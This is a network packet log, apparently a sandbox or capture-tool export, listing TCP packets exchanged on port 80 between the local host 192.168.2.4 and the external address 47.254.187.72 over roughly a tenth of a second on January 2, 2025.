Jan 2, 2025 20:34:56.882143974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.882157087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.882183075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.883950949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.883963108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.883972883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.883985043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.883989096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.884007931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.884028912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.885826111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.885838032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.885848999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.885859013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.885871887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.885904074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.888376951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.888394117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.888405085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.888415098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.888432026 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.888458014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.889956951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.889969110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.889980078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.889990091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.889993906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.890018940 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.890047073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.893598080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.893610001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.893620014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.893625975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.893646002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.893676996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.899358988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.899372101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.899384022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.899420023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.899420977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.899434090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.899452925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.899463892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.899476051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.899503946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.899780035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.899791956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.899802923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.899813890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.899817944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.899836063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.899876118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.901391029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.901402950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.901413918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.901424885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.901443958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.901469946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.904171944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.904181957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.904216051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.904230118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.904283047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.904293060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.904320955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.917684078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.917752028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.917762995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.917781115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.917793036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.917795897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.917809010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.917817116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.917825937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.917831898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.917838097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.917851925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.917865038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.917885065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.922486067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.922564030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.922573090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.922591925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.922609091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.922611952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.922620058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.922624111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.922631025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.922641039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.922646046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.922652960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.922666073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.922686100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.929189920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.929208994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.929222107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.929231882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.929241896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.929253101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.929256916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.929265022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.929280996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.929305077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.929326057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.933829069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.933881044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.933891058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.933922052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.933939934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.933939934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.933950901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.933960915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.933974981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.933988094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.933996916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.934015036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.937887907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.937899113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.937916040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.937927961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.937937975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.937939882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.937948942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.937958002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.937968969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.937979937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.938004017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.938013077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.943030119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.943048954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.943061113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.943078995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.943089008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.943089962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.943099976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.943109035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.943115950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.943128109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.943130970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.943152905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.943171024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.946552992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.946566105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.946577072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.946613073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.946614027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.946624994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.946635962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.946635962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.946646929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.946652889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.946674109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.946688890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.951904058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.951915026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.951925993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.951936960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.951950073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.951960087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.951971054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.951972008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.951982021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.951998949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.952020884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.957218885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.957231045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.957247019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.957257986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.957268000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.957269907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.957282066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.957293987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.957295895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.957318068 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.957334995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.962862968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.962874889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.962889910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.962899923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.962910891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.962920904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.962922096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.962930918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.962941885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.962970972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.962990999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.965847969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.965867043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.965878010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.965888023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.965905905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.965915918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.965926886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.965935946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.967426062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.970639944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.970650911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.970668077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.970679045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.970695972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.970706940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.970716953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.970720053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.970727921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.970763922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.975183010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.975194931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.975203991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.975214005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.975224018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.975234032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.975235939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.975244045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.975254059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.975292921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.980452061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.980463028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.980473995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.980483055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.980493069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.980503082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.980504036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.980514050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.980523109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.980539083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.980559111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.986010075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.986020088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.986033916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.986049891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.986051083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.986061096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.986080885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.986109018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.986129045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.986140013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.986152887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.986166000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.986193895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.988116026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.988126040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.988136053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.988147020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.988158941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.988162994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.988176107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.988183975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.988189936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.988220930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.988230944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.988235950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.988240004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.988254070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.988280058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.004450083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.004462957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.004508018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.004528046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.004569054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.004601955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.004612923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.004623890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.004633904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.004640102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.004645109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.004661083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.004693985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.009326935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.009346962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.009366989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.009382963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.009393930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.009394884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.009404898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.009417057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.009424925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.009428024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.009439945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.009469032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.015939951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.015950918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.015968084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.015978098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.015989065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.016000032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.016005039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.016011000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.016038895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.016055107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.020891905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.020903111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.020914078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.020924091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.020935059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.020945072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.020947933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.020956039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.020989895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.024615049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.024625063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.024663925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.024708986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.024719954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.024738073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.024746895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.024748087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.024759054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.024770021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.024775982 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.024804115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.043198109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043220043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043231964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043258905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.043267965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043279886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043289900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.043292046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043303013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043323040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.043323040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043334961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043337107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.043344975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043355942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043356895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.043365955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043371916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043397903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.043412924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043422937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043426037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.043432951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043442965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.043445110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043454885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043464899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043478012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.043484926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.043512106 CET	49730	80	192.168.2.4	47.254.187.72
